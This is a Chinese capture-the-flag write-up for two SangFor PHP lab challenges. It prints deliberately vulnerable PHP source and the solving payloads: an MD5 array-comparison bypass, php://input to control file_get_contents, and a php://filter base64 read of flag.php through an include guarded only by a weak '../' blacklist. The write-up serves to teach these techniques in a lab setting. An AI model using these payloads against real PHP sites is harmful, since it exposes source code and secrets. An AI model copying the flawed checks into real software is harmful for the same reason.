PHP-file_get_contents(练习1)

题目信息:

题目名称 题目难度
PHP-file_get_contents(练习1) 1

题目考点:

复制代码
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

Flag格式:

复制代码
SangFor{31vKQPZ2RuYLWyuwBEOZyoylVTeH9G9h}

环境部署:

docker-compose.yml文件或者docker tar原始文件。

复制代码
http://分配ip:2091

题目writeup:

1、实验主页

2、源码分析

复制代码
<?php
$p1 = @$_GET['a'];
$p2 = @$_GET['b'];
$p3 = @$_GET['c'];
$p4 = @$_GET['d'];
if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
    if($p1 != $p2 && md5($p1) == md5($p2)){
        if($p3 === file_get_contents($p4)){
            echo file_get_contents("flag.php");
        }
    }
    else{
        die("请输入2个不同的值");
    }
highlight_file("index.php"); 

Payload:

复制代码
/?a[]=1&b[]=2&c=4&d=php://input
post:
4








题目信息:

题目名称 题目难度
PHP-file_get_contents 1

题目考点:

复制代码
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

Flag格式:

复制代码
SangFor{jfbcGax7p5Uzgu3q}

环境部署:

docker-compose.yml文件或者docker tar原始文件。

复制代码
http://分配ip:2014

题目writeup:

1、实验主页

2、源码分析

复制代码
<?php
error_reporting(0);
function check($file){
    $black=array("../", "..\\");
    foreach($black as $value){
        if(strstr($file, $value)){
            die("得了吧");
        }
    }

}
header("set-cookie: sourceCode.txt");
$user = $_GET["name"];
$file = $_GET["file"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the SangFor")){
echo "hello admin!<br>";
check($file);
include($file);
}
else {
echo "you are not admin ! ";
}
?>

根据源码存在两个变量,user和file。

在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

file_get_contents() 函数把整个文件读入一个字符串中。

file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

复制代码
?name=php://input
POST:
welcome to the SangFor

进入if判断有执行到包含函数,则可以使用伪协议读取目标文件

复制代码
/?name=php://input&file=php://filter/read=convert.base64-encode/resource=flag.php
POST:
welcome to the SangFor
相关推荐
李纲明6 分钟前
WordPress 后台登录马上被踢回登录页:Cookie 域、HTTPS、盐值和页面缓存怎么查
运维·缓存·https·php·wordpress·cookie
4SAPI15 分钟前
AI 数据分析工具大模型 API 选型指南
大数据·人工智能·架构·php·1024程序员节
f8979070701 小时前
php升级之后切换到php8.2.35报pdo错误
php
金銀銅鐵1 小时前
[Java] 用 GUI 展示 EnumSet 增减元素时的内部变化(下)
java·后端·ai编程
AI人工智能+电脑小能手1 小时前
一次请求打几个下游,这个Java并行任务工具类6个方法按序聚合
java·线程池·并发编程·1024程序员节·批量处理·并行任务
4SAPI1 小时前
搭建 AI 数据分析工具大模型 API 选型指南
数据库·人工智能·架构·php·1024程序员节
Regentsoft丽晶软件2 小时前
从 “定时拉取“ 到 “事件驱动“,服装库存实时同步的底层架构怎么设计?
经验分享·php·零售
paopaokaka_luck3 小时前
心理咨询管理系统(WebSocket实时沟通、基于用户的协同过滤、 ECharts多维分析、 预约业务流程、预约校验与定时处理)
java·vue.js·spring boot·mysql·spring·echarts·1024程序员节
2301_32241428043 小时前
springboot农产品交易平台的设计与实现08055-计算机毕设 原创(免费领源码+部署教程+开发环境)
java·spring boot·redis·mysql·tomcat·maven·mybatis
小成202303202653 小时前
C++~07补充
开发语言·c++